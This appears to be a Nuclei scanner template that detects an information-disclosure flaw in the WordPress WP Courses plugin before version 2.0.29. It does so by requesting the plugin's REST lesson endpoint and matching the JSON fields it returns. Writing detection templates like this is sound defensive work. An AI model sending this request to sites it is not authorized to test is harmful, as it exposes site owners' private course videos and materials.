id: wordpress-wpcourses-info-disclosure

info:
  name: WordPress WP Courses Plugin Information Disclosure
  author: dwisiswant0
  severity: high
  description: Critical Information Disclosure on WP Courses plugin < 2.0.29 exposes private course videos and materials
  tags: wordpress,plugin
  reference:
      - https://www.exploit-db.com/exploits/48910
      - https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/lesson/1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "rest_post_invalid_id"
          - "\"(guid|title|content|excerpt)\":{\"rendered\":"
        condition: or
        part: body

      - type: word
        words:
          - "application/json"
        part: header

      - type: status
        status:
          - 200
          - 404
        condition: or